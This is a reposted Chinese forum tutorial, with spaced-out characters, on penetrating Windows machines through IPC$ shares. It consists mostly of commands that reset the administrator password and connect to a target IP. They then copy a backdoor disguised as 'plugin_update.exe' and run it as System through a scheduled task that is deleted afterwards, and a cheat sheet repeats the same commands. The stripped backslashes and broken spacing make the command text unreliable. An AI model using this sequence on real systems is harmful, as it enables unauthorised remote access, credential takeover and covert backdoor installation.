搜索

[21192] 2020-08-13_IPC$渗透使用

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2020-08-13_IPC$渗透使用 I P C $ 渗 透 使 用 L e m o n S e c   2 0 2 0 - 0 8 - 1 3 作 者 ： 素 时 听 风                         I P C $ 渗 透 使 用                                 简 介 I P C $ ( I n t e r n e t   P r o c e s s   C o n n e c t i o n ) 是 共 享 " 命 名 管 道 " 的 资 源 ， 它 是 为 了 让 进 程 间 通 信 而 开 放 的 命 名 管 道 ， 通 过 提 供 可 信 任 的 用 户 名 和 口 令 ， 连 接 双 方 可 以 建 立 安 全 的 通 道 并 以 此 通 道 进 行 加 密 数 据 的 交 换 ， 从 而 实 现 对 远 程 计 算 机 的 访 问 。 使 用 条 件 1 . 开 放 了 1 3 9 、 4 4 5 端 口 ； 2 . 目 标 开 启 i p c $ 文 件 共 享 ； 3 . 获 取 用 户 账 号 密 码 。 测 试 过 程 此 测 试 前 提 是 获 取 了 i p c $ ， 这 里 测 试 的 时 候 得 到 的 权 限 是 s y s t e m ， 然 后 创 建 了 一 个 a d m i n 账 户 ， 给 了 a d m i n i s t r a t o r s 权 限 ， 但 无 法 复 制 文 件 过 去 ， 于 是 就 改 了 a d m i n i s t r a t o r 账 户 密 码 （ 实 战 中 不 建 议 更 改 ， 可 读 取 管 理 密 码 后 再 用 读 到 的 密 码 ） 。 更 改 密 码 ： 1 . 连 接 目 标 i p c $ ， 将 后 门 复 制 到 目 标 机 器 上 2 . 创 建 自 动 任 务 ， 执 行 上 传 的 后 门 程 序 n e t   u s e r   a d m i n i s t r a t o r   " 1 q a z @ W S X " n e t   u s e   1 9 3 . 1 6 8 . 1 . 1 2 i p c $   / u s e r : a d m i n i s t r a t o r   " 1 q a z @ W S X " c o p y   p l u g i n _ u p d a t e . e x e   1 9 3 . 1 6 8 . 1 . 1 2 c $ w i n d o w s t e m p p l u g i n _ u p d a t e . e x e #   查 看 目 标 机 器 时 间 n e t   t i m e   1 9 3 . 1 6 8 . 1 . 1 2 #   创 建 该 时 间 之 后 的 某 个 时 刻 自 动 执 行 任 务 ， 任 务 名   p l u g i n _ u p d a t e s c h t a s k s   / c r e a t e   / t n   " p l u g i n _ u p d a t e "   / t r   c : w i n d o w s t e m p p l u g i n _ u p d a t e . e x e   / s c   o n c e   / s t   1 6 : 3 2   / S   1 9 3 . 1 6 8 . 1 . 1 2   / R U   S y s t e m   / u   a d m i n i s t r a t o r   / p   " 1 q a z @ W S X " #   如 果 不 想 等 ， 可 以 立 即 运 行 后 门 程 序 s c h t a s k s   / r u n   / t n   " p l u g i n _ u p d a t e "   / S   1 9 3 . 1 6 8 . 1 . 1 2   / u   a d m i n i s t r a t o r   / p   " 1 q a z @ W S X " #   删 除 创 建 的 任 务 s c h t a s k s   / F   / d e l e t e   / t n   " p l u g i n _ u p d a t e "   / S   1 9 3 . 1 6 8 . 1 . 1 2   / u   a d m i n i s t r a t o r   / p   " 1 q a z @ W S X "
接 收 端 的 目 标 机 器 已 上 线 。 常 用 命 令 如 果 觉 得 文 章 对 你 有 帮 助 ， 请 支 持 下 点 击 右 下 角 “ 在 看 ” #   1 . 连 接 n e t   u s e   1 9 3 . 1 6 8 . 1 . 1 2 i p c $   / u s e r : a d m i n i s t r a t o r   " 1 q a z @ W S X " #   2 . 查 看 连 接 情 况 n e t   u s e #   3 . 查 看 目 标 主 机 共 享 资 源 n e t   v i e w   1 9 3 . 1 6 8 . 1 . 1 2 #   4 . 查 看 目 标 主 机 时 间 n e t   t i m e   1 9 3 . 1 6 8 . 1 . 1 2 #   5 . 查 看 目 标 主 机 的 N e t B I O S 用 户 （ 自 己 本 机 也 需 开 启 ） n b t s t a t   - A   1 9 3 . 1 6 8 . 1 . 1 2 #   6 . 删 除 连 接 n e t   u s e   1 9 3 . 1 6 8 . 1 . 1 2 i p c $   / d e l #   7 . 文 件 上 传 下 载 c o p y   p l u g i n _ u p d a t e . e x e   1 9 3 . 1 6 8 . 1 . 1 2 c $ w i n d o w s t e m p p l u g i n _ u p d a t e . e x e       （ 上 传 到 目 标 的 : c w i n d o w s t e m p 目 录 下 ） c o p y   1 2 7 . 0 . 0 . 1 c $ t e s t . e x e   c : （ 下 载 到 本 地 c 盘 下 ） #   8 . 创 建 计 划 任 务 s c h t a s k s   / c r e a t e   / t n   " p l u g i n _ u p d a t e "   / t r   c : w i n d o w s t e m p p l u g i n _ u p d a t e . e x e   / s c   o n c e   / s t   1   6 : 3 2   / S   1 9 3 . 1 6 8 . 1 . 1 2   / R U   S y s t e m   / u   a d m i n i s t r a t o r   / p   " 1 q a z @ W S X " #   9 . 立 即 执 行 计 划 任 务 s c h t a s k s   / r u n   / t n   " p l u g i n _ u p d a t e "   / S   1 9 3 . 1 6 8 . 1 . 1 2   / u   a d m i n i s t r a t o r   / p   " 1 q a z @ W S X " #   1 0 . 删 除 计 划 任 务 s c h t a s k s   / F   / d e l e t e   / t n   " p l u g i n _ u p d a t e "   / S   1 9 3 . 1 6 8 . 1 . 1 2   / u   a d m i n i s t r a t o r   / p   " 1 q a z @ W S X 作 者 ： 素 时 听 风 出 处 ： h t t p s : / / w w w . c n b l o g s . c o m / s s t f y / p / 1 0 4 1 4 6 8 0 . h t m l 版 权 ： 本 文 采 用 「 署 名 - 非 商 业 性 使 用 - 相 同 方 式 共 享   4 . 0   国 际 」 知 识 共 享 许 可 协 议 进 行 许 可 。 部 分 文 章 为 本 人 工 作 、 学 习 中 所 查 阅 资 料 时 觉 得 受 益 很 大 ， 并 转 载 分 享 。 并 注 明 了 作 者 与 原 文 链 接 。

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理